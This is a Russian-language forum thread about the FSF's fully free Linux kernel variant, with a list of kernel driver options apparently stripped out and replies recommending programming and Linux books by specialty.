SND_INDIGODJ - (Echoaudio) Indigo DJ
SND_INDIGODJX - (Echoaudio) Indigo DJx
SND_INDIGOIO - (Echoaudio) Indigo IO
SND_INDIGOIOX - (Echoaudio) Indigo IOx
SND_LAYLA20 - (Echoaudio) Layla20
SND_LAYLA24 - (Echoaudio) Layla24
SND_MIA - (Echoaudio) Mia
SND_MONA - (Echoaudio) Mona
SND_<(Echoaudio)> - (Echoaudio) all of the above
SND_EMU10K1 - Emu10k1 (SB Live!, Audigy, E-mu APS)
SND_MIXART - Digigram miXart
SND_PCXHR - Digigram PCXHR
SND_RIPTIDE - Conexant Riptide
SND_HDSP - RME Hammerfall DSP Audio
SND_AICA - Dreamcast Yamaha AICA sound
SND_MSND_PINNACLE - Support for Turtle Beach MultiSound Pinnacle
SND_MSND_CLASSIC - Support for Turtle Beach MultiSound Classic, Tahiti, Monterey
SOUND_MSNDCLAS - Support for Turtle Beach MultiSound Classic, Tahiti, Monterey (oss)
SOUND_MSNDPIN - Support for Turtle Beach MultiSound Pinnacle (oss)
SND_SSCAPE - Ensoniq SoundScape driver
SOUND_TRIX - MediaTrix AudioTrix Pro support
SOUND_TRIX - See above,
SOUND_PAS - ProAudioSpectrum 16 support,
SOUND_PSS - PSS (AD1848, ADSP-2115, ESC614) support
DX_SEP - Discretix SEP driver

Из знаменитостей

MICROCODE_AMD - AMD microcode patch loading support
MICROCODE_INTEL - Intel microcode patch loading support

DRM_NOUVEAU - Nouveau (nVidia) cards
DRM_RADEON - ATI Radeon

IWL3945 - Intel PRO/Wireless 3945ABG/BG Network Connection
R8169 - Realtek 8169 gigabit ethernet support
TIGON3 - Broadcom Tigon3
B43 - Broadcom 43xx wireless support (mac80211 stack)
SCSI_QLA_FC - QLogic QLA2XXX Fibre Channel Support
SOUND_SB - 100% Sound Blaster compatibles (SB16/32/64, ESS, Jazz16) support
SND_EMU10K1 - Emu10k1 (SB Live!, Audigy, E-mu APS)


"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено Дым , 14-Мрт-10 12:28 
>>Простите но зачем мне такое ядро, если я с ним не смогу работать?
>
>Кто же виноват, в том что Вы не можете?! :)
>Сутки uptime и ничё работает, там поскипали дрова от железа экзотического...

А кто виноват, что никто-ничего-не-хочет-объяснять ?

OpenSource может быть и в софтах, но насчет распространения опыта работы с линуксом - полный и жесточаишй - copyright :(


"Фонд свободного ПО выпустил полностью свободный вариант Linu..."
Отправлено pavlinux , 14-Мрт-10 19:24 
>А кто виноват, что никто-ничего-не-хочет-объяснять ?
>OpenSource может быть и в софтах, но насчет распространения опыта работы с
>линуксом - полный и жесточаишй - copyright :(

Накой хрен Вам опыт других, если он завтра уже не понадобится.

Для начала K&R (или Финогенова), Робачевский и какая нибудь мутатень про Linux для Чайников.

Потом по специализации:

Немет, TCP/IP Internals, Cisco Press (протоколы)  - для админов.
Advanced Linux Proggraming - для кодеров  + все выше перечисленное
Linux system programming  - для системщиков  + все выше перечисленное
Р.Лав + Бовет & Чезати + Смолски - для ядерщиков + все выше перечисленное

А дальше, чем больше книжек с животными на обложке, тем круче.
По Perl / MySQL / ProgreSQL / Regexp / Emacs